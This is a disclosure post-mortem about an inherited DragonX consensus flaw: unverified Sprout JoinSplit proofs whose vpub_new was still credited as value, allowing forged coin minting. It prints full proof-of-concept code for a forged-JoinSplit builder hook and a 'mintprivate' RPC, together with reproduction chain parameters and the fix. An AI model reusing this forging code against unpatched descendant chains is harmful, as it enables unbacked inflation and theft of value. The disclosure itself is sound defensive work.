DragonXA critical consensus flaw — inherited from upstream code — that could have let a forged transaction mint coins from nothing. Found in an internal audit, proven never used on mainnet, and fixed across the network.
The DragonX mainnet was never exploited. A full audit of the chain's entire history found zero JoinSplit transactions ever, and the total coin supply reconciles exactly against the emission schedule — no coins were forged, no inflation occurred. The bug was discovered in an internal security review and fixed on every production node before this post-mortem was published. Nothing is required of users.
DragonX is a fully-shielded (Sapling) privacy chain descended from the Hush / Zcash lineage. Deep in that inherited code sat a dormant flaw in the older Sprout shielded system: a transaction carrying a Sprout JoinSplit had its zero-knowledge proof never verified, yet the value it claimed to add was still counted as real. In principle, anyone could have crafted a transaction with a forged, all-zero JoinSplit declaring an arbitrary amount and minted coins out of thin air.
We found it during an internal consensus audit, reproduced it end-to-end on an isolated test chain, confirmed through a full-chain audit that it had never been triggered on mainnet, wrote a one-line consensus fix, and rolled it out to the entire node fleet. This page documents exactly what happened, in the interest of full transparency.
Three facts combined into an inflation vector:
vpub_new field — the amount it says it is releasing into the transparent pool — was added to the transaction's value-in, exactly as a real input would be.So a transaction with a garbage JoinSplit (a zero-filled proof) claiming vpub_new = X would be accepted, contributing X of unbacked value — money from nothing. Because that value could be routed straight into a shielded output, it left no transparent trace.
This was not introduced by DragonX — it lives in shared upstream code that predates the chain. DragonX has always been Sapling-only and never used JoinSplits, so the vestigial Sprout path simply sat unguarded. See §03 for exactly when and where it entered the code.
The vulnerability was inherited, not written by DragonX. The codebase descends from Zcash by way of Komodo → Hush, and the flaw entered that shared lineage at one identifiable commit.
In the original Zcash code, CheckTransaction() verified every JoinSplit's zero-knowledge proof — so crediting a JoinSplit's vpub_new to the transparent value pool was safe. On 2020-06-06, upstream Hush commit f13171e (“desprout”), part of a series retiring the disused Sprout shielded system, deleted that check:
- BOOST_FOREACH(const JSDescription &joinsplit, tx.vjoinsplit) {
- if (!joinsplit.Verify(*pzcashParams, verifier, tx.joinSplitPubKey)) {
- return state.DoS(100, error("CheckTransaction(): joinsplit does not verify"),
- REJECT_INVALID, "bad-txns-joinsplit-verification-failed");
- }
- }
The removal was incomplete. It stripped the proof check but left two things standing: the code that still credits a JoinSplit's vpub_new as transparent value, and the absence of any rule rejecting a JoinSplit-bearing transaction. Those two survivors are the vulnerability — the verifier argument was left in the function signature as dead weight, passed through the validator but never called again.
A later Hush commit 93a931b (2021-03-30), pointedly titled “Hush has no JoinSplits,” only reworded a nearby code comment — it added no actual rejection, so the gap stayed open. DragonX forked from Hush and inherited the unguarded path; it was present from DragonX's genesis but, as the mainnet audit in §05 shows, was never triggered.
Because the origin is upstream, any active chain descending from post-2020 Hush code that still carries the Sprout structures is likely affected the same way until it adds an equivalent guard.
To prove the flaw was genuinely exploitable rather than merely theoretical, we reproduced it end-to-end on a private, single-node chain running DragonX's own consensus rules, unmodified. The only code we added lived on the attacker's side — the tooling needed to emit a malformed transaction. The validation path was left exactly as shipped, so the node accepting the transaction is the real defect, not a rigged test.
Launching an assetchain literally named DRAGONX loads the same consensus parameters baked into the mainnet binary — same proof-of-work, same emission, same fully-shielded policy — on a fresh, isolated genesis with no link to the real network:
-ac_name=DRAGONX # loads mainnet's baked-in consensus params
-ac_algo=randomx # same RandomX proof-of-work
-ac_reward=300000000 # same 3.0-coin block subsidy
-ac_blocktime=36 # same 36-second target spacing
-ac_halving=3500000 # same halving schedule
-ac_private=1 # same fully-shielded (Sapling-only) policy
-testnode=1 # let one node mine the private chain
No ordinary wallet can emit a JoinSplit any more — Sprout was retired — so we added two small, clearly-marked hooks to the transaction builder, and nothing to the validator:
SetFakeJoinSplit(vpub_new), that appends a Sprout JSDescription with vpub_old = 0, vpub_new = <amount>, and a proof consisting of 192 zero bytes — a completely fake, unverifiable proof.mintprivate <txid> <vout> <amount>, that spends one real matured coinbase as a dust "anchor" input, adds a single shielded output worth input + amount, attaches the fake JoinSplit, and signs. Because the chain is ac_private=1, there is no transparent output — the conjured value lands entirely inside a brand-new z-address.Both hooks only affect how the transaction is constructed. The consensus code that accepts it — ContextualCheckTransaction, ConnectBlock, GetShieldedValueIn — ran precisely as it does on mainnet. The full added code (every block marked PENTEST-ONLY) follows.
CAmount m_fakeVpubNew = 0;
void SetFakeJoinSplit(CAmount vpub_new) { m_fakeVpubNew = vpub_new; }
// credit the injected vpub_new so the builder's own change math balances
change += m_fakeVpubNew;
// inject a garbage Sprout JoinSplit whose vpub_new mints value from nothing;
// DragonX never verifies JoinSplit proofs/sigs/nullifiers/anchors. Placed before
// the sighash so the binding signature covers the tx that includes it.
if (m_fakeVpubNew > 0) {
JSDescription js;
js.vpub_old = 0;
js.vpub_new = m_fakeVpubNew;
js.proof = libzcash::GrothProof(); // 192 zero bytes
mtx.vjoinsplit.push_back(js);
}
UniValue mintprivate(const UniValue& params, bool fHelp, const CPubKey& mypk)
{
uint256 txid = ParseHashV(params[0], "txid");
int vout = params[1].get_int();
CAmount mint = AmountFromValue(params[2]);
CCoins coins;
if (!pcoinsTip->GetCoins(txid, coins) || !coins.IsAvailable(vout))
throw JSONRPCError(RPC_INVALID_PARAMETER, "utxo not found or already spent");
CAmount inVal = coins.vout[vout].nValue;
CScript inScript = coins.vout[vout].scriptPubKey;
// fresh shielded destination; ALL value goes into it (ac_private=1 => no t-output)
auto zaddr = pwalletMain->GenerateNewSaplingZKey();
TransactionBuilder builder(Params().GetConsensus(), chainActive.Height()+1, pwalletMain);
builder.SetFee(0);
builder.AddTransparentInput(COutPoint(txid, (uint32_t)vout), inScript, inVal);
builder.AddSaplingOutput(uint256(), zaddr, inVal + mint);
builder.SetFakeJoinSplit(mint); // <-- the forged JoinSplit
CTransaction tx = builder.Build().get();
// ... return { txid, zaddr, mint, sapling_out, njoinsplit, hex }
}
vpub_new — proof = 192 zero bytes+500,000verifychain level 4yes · trueThe transaction balanced only because of the two survivors from §03. GetShieldedValueIn() credited the JoinSplit's vpub_new as 500,000 of transparent value-in, exactly covering the oversized shielded output — so the node saw a perfectly balanced transaction. And with the joinsplit.Verify(...) call gone, the 192 zero bytes were never checked against anything. A full verifychain at level 4 afterwards re-validated every block and still returned true — there was simply no JoinSplit proof-check left to fail. The forged coins were indistinguishable from real shielded funds, which is exactly why the mainnet audit in §05 mattered so much.
Before disclosing anything, we audited the live DragonX chain end-to-end. Two independent checks both came back clean:
The vulnerability was real and serious, but it was dormant — no coins were ever minted through it, and no user balance was ever affected. We fixed it while it was still purely theoretical.
DragonX is Sapling-only and has zero JoinSplits in its entire history, so the correct fix is simply to reject any transaction that carries one, at the consensus layer. It's a ~10-line guard placed where every transaction and every block is validated:
// Reject Sprout JoinSplits at consensus. DragonX is Sapling-only from genesis
// (zero JoinSplits in its entire history), so a tx carrying one is illegitimate.
// Their proof/sig/nullifier/anchor are never verified while vpub_new is counted
// as value-in -> unlimited inflation. Coinbase exempt.
if (!tx.IsMint() && !tx.vjoinsplit.empty()) {
return state.DoS(100,
error("Sprout JoinSplits are disabled (inflation vector)"),
REJECT_INVALID, "bad-txns-joinsplit-disabled");
}
Because no legitimate DragonX transaction has ever contained a JoinSplit, this guard is completely inert for normal use — wallets, transfers, mining and shielded payments are entirely unaffected. It only ever fires against an attack. It was committed as d52550a6f on the dev branch and deployed to all production nodes.
vpub_new was legitimate.f13171e (“desprout”) removed proof verification, leaving the value path unguarded — later inherited by DragonX.dev, and reviewed.The flaw originates in the upstream Hush / Zcash Sprout code that DragonX forked from — the removal of JoinSplit proof verification traces back to that lineage, not to DragonX. Any chain still running that shared code is likely affected the same way.
With the DragonX network fully patched, we are publishing this post-mortem for the transparency of our own community.